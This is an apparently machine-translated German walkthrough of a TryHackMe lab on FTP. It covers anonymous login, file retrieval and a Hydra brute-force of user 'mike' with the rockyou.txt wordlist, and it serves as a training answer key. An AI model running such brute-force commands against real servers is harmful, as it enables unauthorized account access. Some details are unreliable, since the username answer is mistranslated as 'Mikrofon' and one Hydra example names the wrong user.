Frage 2
Auf welchem Port läuft FTP?
21
Frage 3
Welche FTP-Variante läuft darauf?
vsftpd
Frage 4
Großartig, jetzt wissen wir, mit welcher Art von FTP-Server wir es zu tun haben; Wir können prüfen, ob wir uns anonym beim FTP-Server anmelden können. Wir können dies tun, indem wir ftp [IP]
in die Konsole eingeben und bei Aufforderung „anonymous“ und kein Passwort eingeben.
Wie heißt die Datei im anonymen FTP-Verzeichnis?
PUBLIC_NOTICE.txt
Frage 5
Für diese Frage verwenden Sie erneut den Befehl get
, genau wie bei Telnet. Geben Sie get PUBLIC_NOTICE.txt
ein
Dadurch wird die Datei auf Ihr System heruntergeladen, sodass Sie ihren Inhalt anzeigen können. Sie müssen nicht mehr mit dem FTP-Server verbunden sein. Geben Sie also exit
ein, um zur Standardeingabeaufforderung zurückzukehren.
Jetzt müssen Sie die Datei finden, die Sie gerade heruntergeladen haben. Bei der browserbasierten Kali-Maschine wird es in Ihrem Stammverzeichnis abgelegt. Sie sollte sich im selben Verzeichnis befinden wie die Datei, die Sie während der Telnet-Aufgaben erhalten haben.
Sobald Sie es auf Ihrem System gefunden haben, ist es Zeit, es zu lesen. Navigieren Sie entweder zu dem Ordner, in dem es sich befindet, oder geben Sie den gesamten Dateipfad mit dem Befehl cat
ein. cat PUBLIC_NOTICE.txt
und prüfen Sie, ob Sie Informationen finden, die für uns nützlich sein könnten. Etwas, das vielleicht ein Benutzername sein könnte?
Was könnte unserer Meinung nach ein möglicher Benutzername sein?
Mikrofon
Frage 6
Großartig! Jetzt haben wir Details zum FTP-Server und vor allem einen möglichen Benutzernamen. Mal sehen, was wir damit machen können...
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Für diese spezielle Aufgabe verwenden wir den Benutzernamen mike
, den wir bereits kennen, und versuchen, sein Passwort brutal zu erzwingen. Hier kommt die Datei rockyou.txt
ins Spiel; es ist eine Passwortliste. Wenn Sie Ihr eigenes lokales System verwenden, merken Sie sich, wo Sie es heruntergeladen haben, und verwenden Sie diesen als Dateipfad. Das Werkzeug, das wir verwenden werden, heißt Hydra. Hydra kann eine Passwortliste aufnehmen und sie gegen ein System testen, um zu sehen, ob sie funktionieren.
Auf der TryHackMe-Seite finden Sie eine ausführliche Aufschlüsselung der Syntax, die wir für diesen Angriff verwenden werden. Ich würde dringend empfehlen, es durchzulesen.
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
Je nachdem, welches System Sie verwenden, kann Ihr Dateipfad variieren. Wenn Sie sich außerdem auf der browserbasierten Kali-Maschine befinden, müssen Sie einen zusätzlichen Schritt ausführen. Auf der Kali-Maschine wird die Wortliste in eine GZ-Datei komprimiert. Wir müssen es entpacken. Geben Sie in Ihrem Terminal gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
ein. Nach einem Moment haben Sie die benötigte unkomprimierte Datei.
Um das richtige Passwort zu finden, geben Sie hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
ein.
Wenn alles erfolgreich war, sollte Ihnen das Passwort als letzter Eintrag in der Liste angezeigt werden.
Wie lautet das Passwort für den Benutzer „mike“?
Sie können dies in der Ausgabe von Hydra finden.
Frage 2
Bingo! Stellen wir nun als dieser Benutzer eine Verbindung zum FTP-Server her, indem wir „ftp [IP]“ verwenden und bei Aufforderung die Anmeldeinformationen eingeben
Jetzt werden wir uns mit unseren neu gefundenen Anmeldeinformationen anmelden.
Geben Sie ftp {Your Active Machine IP Address}
ein. Geben Sie dann als Benutzernamen mike
und als Passwort die Antwort aus der vorherigen Frage ein. Jetzt sollte die Eingabeaufforderung ftp>
angezeigt werden.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Frage 3
Verwenden Sie ls
, um den Inhalt des Verzeichnisses anzuzeigen. Zwei Dateien hier. Die TXT-Datei ist wahrscheinlich diejenige, die für Menschen lesbar sein wird. Verwenden Sie den Befehl get
um es auf Ihr System herunterzuladen. Nachdem Sie dies nun einige Male getan haben, sollten Sie die Datei finden und ihren Inhalt anzeigen können. Wenn Sie Schwierigkeiten haben, können Sie nach oben scrollen und die Anweisungen für die anderen Aufgaben finden.
Was ist die ftp.txt?
Glückwunsch! Sie haben Ihre dritte Flagge erobert und den Aktivitätsteil des Raums abgeschlossen! Tolle Arbeit!
Diese Aufgabe bietet einige Orte, an denen Sie nachschauen können, um Ihre Lektüre zu verwandten Themen zu vertiefen.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Du hast es großartig gemacht, durch diesen Raum zu kommen. Es mag zunächst einschüchternd wirken, es war vielleicht ein Kinderspiel, aber Sie haben es geschafft.
Vielen Dank an Polomints für die Erstellung dieses Raums und an TryHackMe für die Zusammenstellung dieser hervorragenden Website.